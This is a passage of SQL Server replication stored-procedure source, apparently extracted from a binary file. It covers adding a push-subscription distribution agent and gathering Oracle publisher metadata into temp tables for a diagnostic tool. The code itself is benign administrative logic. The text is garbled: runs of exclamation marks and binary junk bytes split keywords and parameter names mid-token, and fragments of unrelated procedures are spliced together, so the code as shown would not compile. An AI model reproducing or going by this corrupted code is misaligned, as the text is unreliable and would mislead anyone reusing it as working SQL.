			@CHAR_BCP = 1,
			@CONCURRENT_CHAR = 4,
			@DATABASE_SNAPSHOT_CHARACTER = 6,
			@publisher_db = DB_NAME()
	
	-- Security Check
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		RETURN 1

	-- Check to see if database is activated for publication
	IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
	BEGIN
		-- "This database is not enabled for publication."
		RAISERROR (14013, 16, -1)
		RETURN 1
	END

	-- Parameter Check:  @publication.
	IF @publication IS NULL
	BEGIN
		-- "The parameter @publication cannot be NULL."
		RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_addpushsubscription_agent')
		RETURN 1
	END
	
	EXEC @retcode = sys.sp_validname @publication
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1

	-- Parameter Check : @publisher
	IF @publisher IS NULL
	BEGIN
		select @publisher = publishingservername()
	END

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

	-- Retrieve publication options	
	SELECT	@allow_dts         = allow_dts,
			@sync_method       = sync_method,
			@independent_agent = independent_agent
	FROM	syspublications
	WHERE	pubid = @pubid
		
	-- Parameter Check:  check subscriber server
	--leave this query the way is, for now, syspublications.options setting is too drastice for this one
	--if user need the nonsqlsub agent parameter, they can call sp_addsubscriber... , otherwise no need to error out
	SELECT @subscriber_id = srvid,
			@non_sql_subscriber = nonsqlsub
		FROM master.dbo.sysservers
		WHERE UPPER(srvname collate database_default) = UPPER(@subscriber) collate database_default

	IF LOWER(@subscriber_db) IS NULL
	BEGIN
		IF @non_sql_subscriber = 1
			SELECT @subscriber_db = formatmessage(20586)
		ELSE
			SELECT @subscriber_db = DB_NAME()
	END

	-- @subscriber_db cannot be all or master
	IF LOWER(@subscriber_db) = 'all'
	BEGIN
		-- "The value of parameter @subscriber_db cannot be 'all'. It is reserved by replication stored procedures."
	    RAISERROR (14032, 16, -1, '@subscriber_db')
	    RETURN 1
	END

	IF LOWER(@subscriber_db) = 'master'
	BEGIN
		-- "Cannot create replication subscription(s) in the master database. Choose another database for creating subscriptions."
	    RAISERROR (21481, 16, 1)
	    RETURN 1
	END

	EXEC @retcode = sys.sp_validname @subscriber_db
	IF @retcode <> 0
		RETURN 1

	-- Check Subscriber Security information
	SELECT @subscriber_security_mode = ISNULL(@subscriber_security_mode, 1)

	IF @subscriber_security_mode not in (0, 1)
	BEGIN
		-- The specified '@subscriber_security_mode' is invalid (valid values are: 0, 1).
		RAISERROR(14266, 16, -1, '@subscriber_security_mode', '0, 1')
		RETURN 1
	END

	-- make sure that the login is valid
	SELECT @subscriber_login = RTRIM(LTRIM(ISNULL(@subscriber_login, '')))
	IF @subscriber_security_mode = 0 AND @subscriber_login = ''
	BEGIN
		-- '@subscriber_login cannot be null or empty when @subscriber_security_mode is set to 0 (SQL Server authentication).'
		RAISERROR(21694, 16, -1, '@subscriber_login', '@subscriber_security_mode')
		RETURN 1
	END

	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addpushsubscription_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addpushsubscription_agent')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addpushsubscription_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addpushsubscription_agent')
			RETURN 1
		END
	END
	
	-- Parameter check: @enabled_for_syncmgr
	SELECT @enabled_for_syncmgr = ISNULL(LTRIM(RTRIM(LOWER(@enabled_for_syncmgr))), 'false')
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		IF @enabled_for_syncmgr not in ('true', 'false')
		BEGIN
			-- Invalid '@enabled_for_syncmgr' value. Valid values are 'true' or 'false'.
			RAISERROR (14148, 16, -1, '@enabled_for_syncmgr')
			RETURN 1
		END
	END
	ELSE
	BEGI!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
'«vu@N
		IF @enabled_for_syncmgr != 'false'
		BEGIN
			-- @enabled_for_syncmgr is not supported for heterogeneous publications, must be 'false' or NULL.
	        RAISERROR (21632, 16, -1, '@enabled_for_syncmgr', '''false'' or NULL')
	        RETURN (1)
		END
	END

	-- check to see if the subscription exists
	IF NOT EXISTS (SELECT ss.*
					FROM sysextendedarticlesview seav
						JOIN syssubscriptions ss
							ON ss.artid = seav.artid
					WHERE seav.pubid = @pubid
						AND ss.srvname = UPPER(@subscriber) collate database_default
						and (ss.srvname is not null and len(ss.srvname)> 0)
						AND ss.dest_db = @subscriber_db
						AND ss.subscription_type = 0)
	BEGIN
		-- "The subscription could not be found."
		RAISERROR (20021, 16, -1)
		RETURN 1
	END

	-- Check DTS parameters
	IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('distributor', 'subscriber')
    BEGIN
    	-- Invalid @dts_package_location parameter value. Valid options are 'Distributor' or 'Subscriber'.
        RAISERROR(21179, 16, -1)
        RETURN 1
    END

    IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) = 'distributor'
        SELECT @dts_location = 0
    ELSE 
        SELECT @dts_location = 1

    IF RTRIM(ISNULL(@dts_package_name, N'')) = N''
    	AND @dts_package_password IS NOT NULL
    BEGIN
    	-- "The @dts_package_password parameter cannot have a non-null value while the @dts_package_name parameter is left unspecified."
        RAISERROR(18780, 16, -1)
        RETURN (1)
    END

    IF RTRIM(ISNULL(@dts_package_name, N'')) != N''
    	AND RTRIM(ISNULL(@dts_package_password, N'')) = N''
    BEGIN
    	-- Use of DTS packages in replication requires a non-NULL/non-empty string password. Specify a valid value for parameter '%s'.
		RAISERROR(21732,16, -1, '@dts_package_password')
		RETURN (1)
	END

    IF @dts_package_name is not null
    	AND @allow_dts = 0
    BEGIN
    	-- "DTS properties cannot be set because the publication does not allow for data transformation."
    	RAISERROR(21178, 16, -1)    
        RETURN 1
    END

    -- If the publication is 'allow_dts', push subscription has to specify a DTS package.
	-- Error check that disallow ODBC subscriber to subscriber with DTS package
	-- is at the distributor.
	-- Show dts error first, otherwise user will get 21060 below which is confusing
	IF @allow_dts <> 0 
		AND @dts_package_name IS NULL 
		AND @subscriber IS NOT NULL 
	BEGIN
		-- "Subscribers cannot subscribe to publications that allow DTS without using a DTS package."
	    RAISERROR(21213, 16, -1)
	    RETURN 1
	END
	
	-- Parameter check:  Provider specific parameters may only be non-NULL
	-- for non-SQL subscribers
	IF			 @non_sql_subscriber = 0
		AND NOT
				(@subscriber_provider IS NULL AND
				 @subscriber_datasrc IS NULL AND
				 @subscriber_location IS NULL AND
				 @subscriber_provider_string IS NULL AND
				 @subscriber_catalog IS NULL)
	BEGIN
	    -- "Subscriber parameters specifying provider properties must be NULL for SQL Server subscribers."
	    RAISERROR(14060, 16, -1)
	    RETURN 1
	END

	IF @non_sql_subscriber = 1
	BEGIN
		-- check sync method
		IF @sync_method NOT IN (@CHAR_BCP, @CONCURRENT_CHAR, @DATABASE_SNAPSHOT_CHARACTER) 
			AND @dts_package_name IS NULL 
			AND @publisher_type = N'MSSQLSERVER'
		BEGIN
			-- Could not subscribe to publication '@publication' because heterogeneous Subscriber '@subscriber' only supports the @sync_method parameter value 'bcp character', 'concurrent_c', and 'database snapshot character' .
			RAISERROR (14095, 16, -1, @publication, @subscriber)
			RETURN 1
		END

		IF @sync_method NOT IN (@CHAR_BCP, @CONCURRENT_CHAR, @DATABASE_SNAPSHOT_CHARACTER) 
			AND @publisher_type != N'MSSQLSERVER'
		BEGIN
			RAISERROR (21676, 16, -1, @subscriber, @publication)
			RETURN 1
		END
		
	END
	
	-- retrieve the distribution database name			
	EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	IF @@error <> 0 or @retcode <> 0 or @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR(20036, 16, -1)
		RETURN 1
	END

	-- set the publication name in the shared case
	--
	-- NOTE:
	-- This value is used for checking for job existence or 
	-- for creating the job via sp_MSadd_distribution_agent.
	-- Creating the sync_mgr agent will use the un-changed
	-- @publication value specified by the user as input...
	IF @independent_agent = 0
	BEGIN
		SELECT @publication_name = 'ALL'
	END
	ELSE
	BEGIN
		SELECT @publication_name = @publication
	END
	
	SELECT @procedure =  QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSreplagentjobexists'
	EXEC @retcode = @procedure @type = 0,
								@exists = @distagent_exists output,
								@job_name = @distrib_job_name output,
								@proxy_id = @proxy_id output,
								@publisher = @publisher,
								@publisher_db = @publisher_db,
								@publication = @publication_name,
								@subscriber = @subscriber,
								@subscriber_db = @subscriber_db,
								@publisher_id = @dist_publisher_id output,
								@subscriber_id = @dist_subscriber_id output,
								@independent_agent = @independent_agent				
	IF @retcode <> 0 OR @@ERROR <> 0
		RETURN 1

	BEGIN TRANSACTION tr_addpush_agent
	SAVE TRANSACTION  tr_addpush_agent
	
	IF @distagent_exists = 1
	BEGIN
		-- there are 2 cases here:
		--
		-- 1) We require the yukon security model then fail since  
		-- the add was expected and the subscription already exists
		--
		-- 2) We are here then this is a sysadmin call and if a 
		-- proxy account already exists on the job then they can
		-- not call the add proc again they need to call change
		IF sys.fn_yukonsecuritymodelrequired(NULL) = 1
			OR @proxy_id IS NOT NULL		
		BEGIN
			IF @independent_agent = 1
			BEGIN
				-- "The Distribution Agent for this subscription already exists (@job_name)."
				RAISERROR (21002, 11, -1, @distrib_job_name)
				GOTO UNDO
			END
			ELSE
			BEGIN
				-- "A shared distribution agent (@job_name) already exists for this subscription."
				RAISERROR (22549, 10, -1, @distrib_job_name)
				GOTO UNDO
			END
		END
		
		SELECT @procedure =  QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSdrop_distribution_agent'
		EXEC @retcode = @procedure @publisher_id = @dist_publisher_id,
									@publisher_db = @publisher_db,
									@publication = @publication_name,
									@subscriber_id = @dist_subscriber_id,
									@subscriber_db = @subscriber_db,
									@subscription_type = 0,
									@job_only = 1
		IF @retcode <> 0 OR @@ERROR <> 0
			GOTO UNDO
	END
	
	-- Schedule Distribution agent for the push subscription
	SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSadd_distribution_agent'	

	EXEC @retcode = @procedure @name = @job_name,
								@publisher_id = @dist_publisher_id,
								@publisher_db = @publisher_db,
								@publication = @publication_name,  
								@subscriber_id = @dist_subscriber_id,
								@subscriber_db = @subscriber_db,
								@subscription_type = 0,
								@local_job = 1, 
								@frequency_type = @frequency_type,
								@frequency_interval = @frequency_interval,
								@frequency_relative_interval = @frequency_relative_interval,
								@frequency_recurrence_factor = @frequency_recurrence_factor,
								@frequency_subday = @frequency_subday,
								@frequency_subday_interval = @frequency_subday_interval,
								@active_start_time_of_day = @active_start_time_of_day,
								@active_end_time_of_day = @active_end_time_of_day,
								@active_start_date = @active_start_date ,
								@active_end_date = @active_end_date,
								@dts_package_nam!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
 `J9Jnu@e = @dts_package_name,
								@dts_package_password = @dts_package_password,
								@dts_package_location = @dts_location,
								@subscriber_security_mode = @subscriber_security_mode,
								@subscriber_login = @subscriber_login,
								@subscriber_password = @subscriber_password,
								@job_login = @job_login,
								@job_password = @job_password,
								@subscriber_provider = @subscriber_provider,
								@subscriber_datasrc = @subscriber_datasrc,
								@subscriber_provider_string = @subscriber_provider_string,
								@subscriber_location = @subscriber_location,
								@subscriber_catalog = @subscriber_catalog,
								@distribution_jobid = @distribution_jobid OUTPUT,
								@internal = N'YUKON ADD AGENT'
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	IF @independent_agent = 1
	BEGIN
	    UPDATE syssubscriptions 
	    	SET distribution_jobid = @distribution_jobid 
			FROM syspublications sysp
				JOIN sysextendedarticlesview syseav
					on sysp.pubid = syseav.pubid
				JOIN syssubscriptions syss
					on syseav.artid = syss.artid
			WHERE sysp.pubid = @pubid
				AND syss.srvname = UPPER(@subscriber)
				AND syss.dest_db = @subscriber_db
	END
	ELSE
	BEGIN
	    UPDATE syssubscriptions 
	    	SET distribution_jobid = @distribution_jobid 
			WHERE srvname = UPPER(@subscriber)
				AND dest_db = @subscriber_db
	END

	-- Conditional support for MobileSync
	IF LOWER(@enabled_for_syncmgr collate SQL_Latin1_General_CP1_CS_AS) = 'true'
	BEGIN
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher   = @publisher,
													     	@distributor = @distributor OUTPUT 
		IF @@ERROR <> 0 or @retcode <> 0
			GOTO UNDO
			
		-- Call sp_MSregistersubscription so that the subscription can be synchronized via MobileSync
		SELECT @subscription_id = convert(uniqueidentifier, @distribution_jobid)
		
		EXEC @retcode = sys.sp_MSregistersubscription @replication_type = 1,
														@publisher = @publisher,
														@publisher_db = @publisher_db,
														@publication = @publication,
														@subscriber = @subscriber,
														@subscriber_db = @subscriber_db,
														@distributor = @distributor,
														@distributor_security_mode = 1,
														@subscription_id = @subscription_id,
														@independent_agent = @independent_agent,
														@subscription_type = 0
		IF @@ERROR <> 0 or @retcode <> 0
			GOTO UNDO
	END

	-- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @job_name IS NOT NULL
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			IF @publisher_type = 'MSSQLSERVER'
			BEGIN
				SELECT @publisher_local = NULL
			END
			ELSE
			BEGIN
				SELECT @publisher_local = @publisher
			END
			
			EXEC @retcode = sys.sp_changesubscription @publication = @publication,
														@article = 'all',
														@subscriber = @subscriber,
														@destination_db = @subscriber_db,
													    @property = 'distrib_job_login',
														@value = @job_login,
														@publisher = @publisher_local
			IF @retcode <> 0 OR @@ERROR <> 0
	            GOTO UNDO

			EXEC @retcode = sys.sp_changesubscription @publication = @publication,
														@article = 'all',
														@subscriber = @subscriber,
														@destination_db = @subscriber_db,
													    @property = 'distrib_job_password',
														@value = @job_password,
														@publisher = @publisher_local
			IF @retcode <> 0 OR @@ERROR <> 0
	            GOTO UNDO
		END
	END

	COMMIT TRANSACTION tr_addpush_agent
	
	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_addpush_agent
	COMMIT TRANSACTION 
	
	RETURN 1
END
}/1}/IN CATCH
        SELECT @retcode = 0
    END CATCH

    SELECT @select = N'SELECT * INTO ' + quotename(@database) +  N'.dbo.' + quotename('HREPL_IHindexes_' + sys.fn_replreplacesinglequote(@publisher_suffix)) + N' FROM #indexes'
    EXEC @retcode = sys.sp_executesql @select
    IF @retcode != 0 OR @@error != 0 
    BEGIN
		SELECT @cmd = N'SELECT from table #indexes to populate table ' + sys.fn_replreplacesinglequote(@database) + 
		              N'.dbo.' + quotename('HREPL_IHindexes_' + sys.fn_replreplacesinglequote(@publisher_suffix)) + N' failed: Query = ' + @select
		EXEC sys.sp_log_repository_message N'Failure', @cmd, @database 
    END
    ELSE
    BEGIN
		EXEC sys.sp_log_repository_message N'Success', @select, @database
    END

    SELECT @cmd = N'DROP TABLE ' + quotename(@database) +  N'.dbo.' + quotename('HREPL_IHpublishercolumns_' + sys.fn_replreplacesinglequote(@publisher_suffix))
    
    BEGIN TRY
        EXEC @retcode = sys.sp_executesql @cmd
    END TRY    
    BEGIN CATCH
        SELECT @retcode = 0
    END CATCH
    
    SELECT @select = N'SELECT * INTO ' + quotename(@database) +  N'.dbo.' + quotename('HREPL_IHpublishercolumns_' + sys.fn_replreplacesinglequote(@publisher_suffix)) + N' FROM #publishercolumns'
    EXEC @retcode = sys.sp_executesql @select
    IF @retcode != 0 OR @@error != 0 
    BEGIN
		SELECT @cmd = N'SELECT from table #publishercolumns to populate table ' + sys.fn_replreplacesinglequote(@database) + 
		              N'.dbo.' + quotename('HREPL_IHpublishercolumns_' + sys.fn_replreplacesinglequote(@publisher_suffix)) + N' failed: Query = ' + @select 
		EXEC sys.sp_log_repository_message N'Failure', @cmd, @database
    END
    ELSE
    BEGIN
		EXEC sys.sp_log_repository_message N'Success', @select, @database
    END
    -----------------------------------------------------------------
    --  Drop Temp tables
    -----------------------------------------------------------------
    DROP TABLE #constraints
    DROP TABLE #indexes
    DROP TABLE #publishercolumns
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Iv}/
--
-- Name:    
--          sp_MSrepl_get_Oracle_publisher_metadata
--          
-- Description: 
--          Specialized stored procedure for repldiag tool to gather
--          Oracle publishing meta data from Oracle publisher.
--
-- Arguments:
--          @publisher -- Name of the Oracle publisher to be interogated.
--          @database -- Name of database where meta data for publishers is to be deposited.
--  
-- Security: 
--          Internal
--
-- Returns:
--          Result set:  Subscription status
--      
-- Owner:   
--          sward 

create procedure sys.sp_MSrepl_get_Oracle_publisher_metadata
(
	@publisher	sysname,
	@database sysname
)
AS
BEGIN
    SET NOCOUNT ON

    -- Declarations.
    DECLARE @retcode			int
    DECLARE @InsColumnList		nvarchar(2000)
    DECLARE @SelectColumnList	nvarchar(2000)
    DECLARE @query				nvarchar(2000)
    DECLARE @LocalTableName		nvarchar(2000)
    DECLARE @cmd				nvarchar(2000)
    DECLARE @select				nvarchar(2000)

    DECLARE @sev			int
    DECLARE @state			int
    DECLARE @msg			nvarchar(max)
    DECLARE @version		nvarchar(64)
    DECLARE @product		nvarchar(64)
    DECLARE @publisher_version	sysname
    DECLARE @publisher_suffix   sysname

    SET NOCOUNT ON
	
    -- Get publisher version
    EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
					@version	= @publisher_version OUTPUT

    IF @retcode != 0 OR @@ERROR != 0
    BEGIN
		RETURN (1)
    END
    
    -- Define sp_ORAremotequery support table
    create table #hquery
    (
		seq	int identity(2,1),
		cmd	nvarchar(4000)
    )
    
    -- Define temp table
  	CREATE TABLE #version
    (
		version		nvarchar(64),
		product		nvarchar(64)
    )
	
    -- populate a temp table with a list of table columns from the Oracle publisher
    SELECT @InsColumnList    = 'version, product'
    SELECT @SelectColumnList = 'VERSION, PRODUCT'

    INSERT INTO #hquery(cmd) VALUES('SELECT VERSION, PRODUCT FROM PRODUCT_COMPONENT_VERSION WHERE UPPER(PRODUCT) LIKE ''%ORACLE%''')
	
    EXEC @retcode = sys.sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#version',
					@InsColumnList		= @InsColumnList

    IF @@ERROR = 0 AND @retcode = 0
    BEGIN
		SELECT @version = version, @product = product FROM #version
   		SELECT @cmd = N'For Oracle publisher ' + @publisher + N', product is ' + @product + N'; version is ' + @version  		
   		EXEC sys.sp_log_repository_message N'SERVERPROPERTY', @cmd, @database
    END
    
    DROP TABLE #version
     
    -- Create temp tables for publisher metadata
    CREATE TABLE #HREPL_EVENT
    (
		EVENT_POLLID  		INT,
		EVENT_PUBLICATION_ID 	INT,
		EVENT_ARTICLE_ID 	INT,
		EVENT_TABLE_ID  	INT,
		EVENT_OPERATION  	INT,
		EVENT_SEQ  		INT,
		EVENT_ROWCNT  		INT,
		EVENT_CMDTYPE  		INT,
		EVENT_ENTRYTIME  	INT,
		EVENT_DIRECTORY  	VARCHAR(512),
		EVENT_SCRIPTSCH  	VARCHAR(512),
		EVENT_SCRIPTIDX  	VARCHAR(512),
		EVENT_COMMAND  		VARCHAR(1000),
		EVENT_PRESCRIPT  	VARCHAR(512),
		EVENT_POSTSCRIPT  	VARCHAR(512),
		EVENT_CREATIONSCRIPTPATH VARCHAR(256),
		EVENT_FTPADDRESS  	VARCHAR(512),
		EVENT_FTPPORT   	VARCHAR(42),
		EVENT_FTPSUBDIRECTORY  	VARCHAR(1020),
		EVENT_FTPLOGIN   	VARCHAR(512),
		EVENT_FTPPASSWORD  	VARCHAR(2096),
		EVENT_ALTERNATESNAPSHOTFOLDER VARCHAR(256),
		EVENT_COMPRESSSNAPSHOT  VARCHAR(256)
    )

    CREATE TABLE #HREPL_POLL
    (
		POLL_ROWID		VARCHAR(30) NOT NULL,
		POLL_POLLID		INT NULL,
		POLL_UPDATEFLAG		INT,
		POLL_ROWCNT		INT,
		POLL_TABLEID		INT
    )

    CREATE TABLE #HREPL_PUBLISHEDTABLES
    (
		PUBLISHED_OWNER   		VARCHAR(256) NOT NULL,
		PUBLISHED_TABLE   		VARCHAR(256) NOT NULL,
		PUBLISHED_TABLEID 		INT NOT NULL,
		PUBLISHED_ARTICLEID 		INT NOT NULL,
		PUBLISHED_LOGINSTANCE 		INT NOT NULL,
		PUBLISHED_ARTICLEINSTANCE 	INT NOT NULL,
		PUBLISHED_LOGDROPPENDING 	INT NOT NULL,
		PUBLISHED_ARTICLEDROPPENDING 	INT NOT NULL  
    )

    CREATE TABLE #HREPL_PUBLISHER
    (
		Publisher_GUID        	VARCHAR(38) NOT NULL,
		Publisher_Name  	VARCHAR(128) NULL,
		Publisher_ID		INT NOT NULL,
		Publisher_PollInProcess	INT,
		Publisher_CurrentPollid	INT,
		Publisher_LSN		BINARY(10),
		Publisher_HasChanges	INT,
		Publisher_SyncInits		INT,
		Publisher_SyncDones		INT,
		Publisher_RowCntValidations	INT,
		Publisher_TableChanges		INT,
		Publisher_InReconciliation	INT,
		Publisher_TracerTokens		INT,
		Publisher_XactSetEnabled	INT,
		Publisher_XactSetBeginTime	INT,
		Publisher_XactSetInterval	INT,
		Publisher_Timestamp		VARCHAR(128)
    )

    CREATE TABLE #HREPL_DISTRIBUTOR
    (
		DISTRIBUTOR_PUBLISHERNAME 	VARCHAR(128) NOT NULL,
		DISTRIBUTOR_DISTRIBUTORNAME VARCHAR(128) NOT NULL,
		DISTRIBUTOR_DISTRIBUTIONDB 	VARCHAR(128) NOT NULL,
		DISTRIBUTOR_PRODUCTVERSION 	VARCHAR(128) NULL,
		DISTRIBUTOR_STATUS  		DECIMAL(4)   NOT NULL
    )

    CREATE TABLE #HREPL_XACTSETJOB
    (
		XACTSETJOB_ENABLED 		VARCHAR(1),
		XACTSETJOB_INTERVAL 		INT,
		XACTSETJOB_THRESHOLD 		INT,
		XACTSETJOB_LRINTERVAL 		INT,
		XACTSETJOB_LRTHRESHOLD 	INT,
		XACTSETJOB_WHAT  		VARCHAR(400),
		XACTSETJOB_LRISACTIVE 		VARCHAR(1),
		XACTSETJOB_INACTIVITYCOUNT 	INT
    )

    CREATE TABLE #HREPL_SCHEMAFILTER
    (
		SCHEMAFILTER_NAME	VARCHAR(200)
    )

    CREATE TABLE #HREPL_MUTEX
    (
		MUTEX_LOCK	INT
    )

    CREATE TABLE #HREPL_CHANGES
    (
		CHANGECOUNT	INT
    )

    CREATE TABLE #HREPL_VERSION
    (
		SQLSERVERVERSION	VARCHAR(256)
    )

    CREATE TABLE #HREPL_ARTICLELOG
    (
		HREPL_SEQ INT NULL,
		HREPL_STMT INT NULL,
		HREPL_OPERATION INT NOT NULL,
		HREPL_POLLID INT NULL,
		HREPL_ENTRYTIME INT NULL
    )

    CREATE TABLE #HREPL_LOGTABLES
    (
		TABLE_NAME varchar(30)
    )
    
    CREATE TABLE #ALL_VIEWS
    (
		VIEW_NAME varchar(30),
		TEXT      varchar(max)		
    )

    CREATE TABLE #ALL_TRIGGERS
    (
		TRIGGER_NAME varchar(30),
		TRIGGER_TYPE varchar(16),
		TRIGGERING_EVENT varchar(227),
		TABLE_OWNER  varchar(30),
		BASE_OBJECT_TYPE varchar(16),
		TABLE_NAME varchar(30),
		STATUS varchar(8),
		ACTION_TYPE varchar(11),
		TRIGGER_BODY varchar(max)
    )
    
    CREATE TABLE #ALL_INDEXES
    (
		INDEX_NAME varchar(30),
		INDEX_TYPE varchar(27),
		TABLE_NAME varchar(30),
		UNIQUENESS varchar(9),
		TABLESPACE_NAME varchar(30),
		INITIAL_EXTENT  int,
		NEXT_EXTENT int,
		MIN_EXTENTS int,
		MAX_EXTENTS int,
		PCT_INCREASE real,
		PCT_THRESHOLD real,
		INCLUDE_COLUMN real,
		PCT_FREE real,
		LOGGING varchar(3),
		DISTINCT_KEYS int,
		STATUS varchar(8),
		NUM_ROWS int,
		SAMPLE_SIZE int,
		LAST_ANALYZED datetime,
		DEGREE varchar(40),
		USER_STATS varchar(3),
		PCT_DIRECT_ACCESS real,
		JOIN_INDEX varchar(3)
	)
	
    CREATE TABLE #ALL_CONSTRAINTS
    (
        OWNER varchar(30),
        CONSTRAINT_NAME varchar(30),
        CONSTRAINT_TYPE varchar(1),
        TABLE_NAME varchar(30),
        SEARCH_CONDITION varchar(max),
        R_OWNER varchar(30),
        R_CONSTRAINT_NAME varchar(30),
        DELETE_RULE varchar(9),
        STATUS varchar(8),
        DEFERRABLE varchar(14),
        DEFERRED varchar(9),
        VALIDATED varchar(13),
        GENERATED varchar(14),
        BAD varchar(3),
        RELY varchar(4),
        LAST_CHANGE datetime,
        INDEX_OWNER varchar(30),
        INDEX_NAME varchar(30),
        INVALID varchar(7),
        VIEW_RELATED varchar(14)
    )
    
    CREATE TABLE #ALL_OBJECTS
    (
        OWNER varchar(30),
        OBJECT_NAME varchar(30),
        OBJECT_TYPE varchar(18),
        CREATED datetime,
        LAST_DDL_TIME datetime,
        TIMESTAMP varchar(19),
        STATUS varchar(7),
        TEMPORARY varchar(1),
        GENERATED varchar(1),
        SECONDARY varchar(1)
    )
    
    -- If the publisher name is less than or equal to 95 characters, then the publisher na!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-G)"
m50-;W@dts_package_name0-;_@dts_package_password0-;_@dts_package_location0-;
